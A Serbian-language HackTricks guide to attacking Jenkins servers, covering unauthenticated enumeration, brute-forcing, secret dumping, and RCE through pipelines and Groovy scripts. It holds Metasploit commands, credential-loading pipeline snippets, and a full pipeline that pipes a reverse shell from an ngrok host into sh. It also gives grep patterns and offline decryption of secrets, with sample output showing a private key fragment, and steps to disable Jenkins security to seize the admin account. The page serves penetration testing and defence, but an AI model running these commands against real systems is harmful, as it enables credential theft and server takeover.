Jenkins Security

Reading time: 13 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Jenkins je alat koji nudi jednostavan način za uspostavljanje kontinuirane integracije ili kontinuirane isporuke (CI/CD) okruženja za gotovo bilo koju kombinaciju programskih jezika i repozitorijuma izvornog koda koristeći pipeline-ove. Pored toga, automatizuje razne rutinske razvojne zadatke. Iako Jenkins ne eliminiše potrebu za kreiranjem skripti za pojedinačne korake, pruža brži i robusniji način za integraciju celokupnog niza alata za izgradnju, testiranje i implementaciju nego što se može lako konstruisati ručno.

Basic Jenkins Information

Neautentifikovana enumeracija

Da biste pretraživali zanimljive Jenkins stranice bez autentifikacije kao što su (/people ili /asynchPeople, ovo prikazuje trenutne korisnike) možete koristiti:

msf> use auxiliary/scanner/http/jenkins_enum

Proverite da li možete izvršavati komande bez potrebe za autentifikacijom:

msf> use auxiliary/scanner/http/jenkins_command

Bez kredencijala možete pogledati unutar /asynchPeople/ putanje ili /securityRealm/user/admin/search/index?q= za korisnička imena.

Možda ćete moći da dobijete verziju Jenkins-a iz putanje /oops ili /error.

Poznate ranjivosti

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

Prijava

U osnovnim informacijama možete proveriti sve načine za prijavu unutar Jenkins-a:

Basic Jenkins Information

Registracija

Moći ćete da pronađete Jenkins instance koje dozvoljavaju da kreirate nalog i prijavite se u njega. Tako jednostavno.

SSO Prijava

Takođe, ako su SSO funkcionalnosti/pluginovi prisutni, onda biste trebali pokušati da se prijavite u aplikaciju koristeći test nalog (npr., test Github/Bitbucket nalog). Trik iz ovde.

Bruteforce

Jenkins nema politiku lozinki i mitigaciju brute-force napada na korisnička imena. Bitno je brute-force korisnike jer se mogu koristiti slabe lozinke ili korisnička imena kao lozinke, čak i obrnuta korisnička imena kao lozinke.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Koristite ovaj python skript ili ovaj powershell skript.

IP Whitelisting Bypass

Mnoge organizacije kombinuju SaaS-based source control management (SCM) systems kao što su GitHub ili GitLab sa internim, samostalno hostovanim CI rešenjem poput Jenkins-a ili TeamCity-a. Ova postavka omogućava CI sistemima da prijemaju webhook događaje od SaaS provajdera za kontrolu izvora, prvenstveno za pokretanje pipeline poslova.

Da bi to postigle, organizacije stavljaju na belu listu IP opsege SCM platformi, omogućavajući im pristup internom CI sistemu putem webhook-a. Međutim, važno je napomenuti da bilo ko može da kreira nalog na GitHub-u ili GitLab-u i konfiguriše ga da pokrene webhook, potencijalno šaljući zahteve internom CI sistemu.

Proverite: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

U ovim scenarijima pretpostavljamo da imate važeći nalog za pristup Jenkins-u.

warning

U zavisnosti od Authorization mehanizma konfiguranog u Jenkins-u i dozvole kompromitovanog korisnika, možda ćete moći ili ne moći da izvršite sledeće napade.

Za više informacija proverite osnovne informacije:

Basic Jenkins Information

Listing users

Ako ste pristupili Jenkins-u, možete da navedete druge registrovane korisnike na http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

Koristite ovaj skript da izbacite izlaze konzole gradnje i promenljive okruženja gradnje kako biste se nadali da ćete pronaći tajne u čistom tekstu.

bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Krađa SSH kredencijala

Ako kompromitovani korisnik ima dovoljno privilegija da kreira/modifikuje novi Jenkins čvor i SSH kredencijali su već sačuvani za pristup drugim čvorovima, mogao bi ukrasti te kredencijale kreiranjem/modifikovanjem čvora i postavljanjem hosta koji će snimati kredencijale bez verifikacije host ključa:

Obično ćete pronaći Jenkins ssh kredencijale u globalnom provajderu (/credentials/), tako da ih možete i dumpovati kao što biste dumpovali bilo koju drugu tajnu. Više informacija u odeljku o dumpovanju tajni.

RCE u Jenkins-u

Dobijanje shell-a na Jenkins serveru daje napadaču priliku da otkrije sve tajne i env varijable i da iskoristi druge mašine locirane u istoj mreži ili čak prikupi cloud kredencijale.

Podrazumevano, Jenkins će raditi kao SYSTEM. Tako da, kompromitovanje će napadaču dati SYSTEM privilegije.

RCE Kreiranje/Modifikovanje projekta

Kreiranje/Modifikovanje projekta je način da se dobije RCE nad Jenkins serverom:

Jenkins RCE Creating/Modifying Project

RCE Izvršavanje Groovy skripte

Takođe možete dobiti RCE izvršavanjem Groovy skripte, koja može biti manje uočljiva od kreiranja novog projekta:

Jenkins RCE with Groovy Script

RCE Kreiranje/Modifikovanje Pipeline-a

Takođe možete dobiti RCE kreiranjem/modifikovanjem pipeline-a:

Jenkins RCE Creating/Modifying Pipeline

Eksploatacija Pipeline-a

Da biste eksploatisali pipeline-ove, još uvek morate imati pristup Jenkins-u.

Build Pipeline-i

Pipeline-i se takođe mogu koristiti kao mehanizam za izgradnju u projektima, u tom slučaju može se konfigurisati fajl unutar repozitorijuma koji će sadržati sintaksu pipeline-a. Podrazumevano se koristi /Jenkinsfile:

Takođe je moguće čuvati konfiguracione fajlove pipeline-a na drugim mestima (na drugim repozitorijumima, na primer) sa ciljem razdvajanja pristupa repozitorijumu i pristupa pipeline-u.

Ako napadač ima pravo pisanja nad tim fajlom, moći će da modifikuje i potencijalno pokrene pipeline bez čak i pristupa Jenkins-u.
Moguće je da će napadač morati da obiđe neke zaštite grana (u zavisnosti od platforme i privilegija korisnika, one se mogu obići ili ne).

Najčešći okidači za izvršavanje prilagođenog pipeline-a su:

  • Pull request na glavnu granu (ili potencijalno na druge grane)
  • Push na glavnu granu (ili potencijalno na druge grane)
  • Ažuriranje glavne grane i čekanje da se na neki način izvrši

note

Ako ste spoljašnji korisnik, ne biste trebali očekivati da kreirate PR na glavnu granu repozitorijuma drugog korisnika/organizacije i pokrenete pipeline... ali ako je loše konfigurisano, mogli biste potpuno kompromitovati kompanije samo iskorišćavajući ovo.

Pipeline RCE

U prethodnom RCE odeljku već je naznačena tehnika za dobijanje RCE modifikovanjem pipeline-a.

Proveravanje Env varijabli

Moguće je deklarisati env varijable u čistom tekstu za ceo pipeline ili za specifične faze. Ove env varijable ne bi trebale sadržati osetljive informacije, ali napadač uvek može proveriti sve konfiguracije pipeline-a/Jenkinsfile-ove:

bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Za informacije o tome kako se tajne obično tretiraju u Jenkins-u, pogledajte osnovne informacije:

Basic Jenkins Information

Akreditivi mogu biti ograničeni na globalne provajdere (/credentials/) ili na specifične projekte (/job/<project-name>/configure). Stoga, da biste eksfiltrirali sve njih, morate kompromitovati barem sve projekte koji sadrže tajne i izvršiti prilagođene/otrovane pipeline-ove.

Postoji još jedan problem, da biste dobili tajnu unutar env pipeline-a, morate znati ime i tip tajne. Na primer, ako pokušate da učitate usernamePassword tajnu kao string tajnu, dobićete ovu grešku:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Evo kako da učitate neke uobičajene tipove tajni:

bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Na kraju ove stranice možete pronaći sve tipove kredencijala: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

warning

Najbolji način da izvučete sve tajne odjednom je da kompromitujete Jenkins mašinu (na primer, pokretanjem reverzne ljuske u ugrađenom čvoru) i zatim procurite glavne ključeve i kriptovane tajne i dekriptujete ih offline.
Više o tome kako to uraditi u odeljku Čvorovi i Agenti i u odeljku Post Eksploatacija.

Okidači

Iz dokumentacije: Direktiva triggers definiše automatske načine na koje bi Pipeline trebao biti ponovo aktiviran. Za Pipelines koji su integrisani sa izvorom kao što su GitHub ili BitBucket, triggers možda neće biti potrebni jer će integracija zasnovana na webhook-ovima verovatno već biti prisutna. Trenutno dostupni okidači su cron, pollSCM i upstream.

Primer cron:

bash
triggers { cron('H */4 * * 1-5') }

Proverite druge primere u dokumentaciji.

Čvorovi i Agenti

Jenkins instanca može imati različite agente koji rade na različitim mašinama. Sa perspektive napadača, pristup različitim mašinama znači različite potencijalne cloud kredencijale koje se mogu ukrasti ili različit pristup mreži koji se može zloupotrebiti za eksploataciju drugih mašina.

Za više informacija proverite osnovne informacije:

Basic Jenkins Information

Možete enumerisati konfigurisane čvorove u /computer/, obično ćete pronaći Built-In Node (koji je čvor koji pokreće Jenkins) i potencijalno više:

Posebno je zanimljivo kompromitovati Built-In čvor jer sadrži osetljive Jenkins informacije.

Da biste naznačili da želite da pokrenete pipeline u ugrađenom Jenkins čvoru, možete uneti sledeću konfiguraciju unutar pipeline-a:

bash
pipeline {
agent {label 'built-in'}

Potpuni primer

Pipeline u specifičnom agentu, sa cron okidačem, sa pipeline i stage promenljivim okruženjima, učitavajući 2 promenljive u koraku i šaljući reverznu ljusku:

bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Pročitajte proizvoljnu datoteku do RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Eksploatacija

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Tajne

Možete nabrojati tajne pristupajući /credentials/ ako imate dovoljno dozvola. Imajte na umu da će ovo samo nabrojati tajne unutar credentials.xml datoteke, ali datoteke za konfiguraciju gradnje takođe mogu imati više kredencijala.

Ako možete videti konfiguraciju svakog projekta, možete takođe videti imena kredencijala (tajni) koji se koriste za pristup repozitorijumu i druge kredencijale projekta.

Iz Groovy

Jenkins Dumping Secrets from Groovy

Iz diska

Ove datoteke su potrebne za dešifrovanje Jenkins tajni:

  • secrets/master.key
  • secrets/hudson.util.Secret

Takve tajne se obično mogu naći u:

  • credentials.xml
  • jobs/.../build.xml
  • jobs/.../config.xml

Evo regex-a da ih pronađete:

bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Decrypt Jenkins secrets offline

Ako ste izvezli potrebne lozinke za dešifrovanje tajni, koristite ovaj skript da dešifrujete te tajne.

bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Dešifrovanje Jenkins tajni iz Groovy-a

bash
println(hudson.util.Secret.decrypt("{...}"))

Kreirajte novog admin korisnika

  1. Pristupite Jenkins config.xml datoteci u /var/lib/jenkins/config.xml ili C:\Program Files (x86)\Jenkis\
  2. Potražite reč <useSecurity>true</useSecurity> i promenite reč true u false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Restartujte Jenkins server: service jenkins restart
  5. Sada ponovo idite na Jenkins portal i Jenkins neće tražiti nikakve kredencijale ovaj put. Navigirajte do "Manage Jenkins" da ponovo postavite administratorsku lozinku.
  6. Ponovo omogućite bezbednost promenom postavki na <useSecurity>true</useSecurity> i ponovo restartujte Jenkins.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks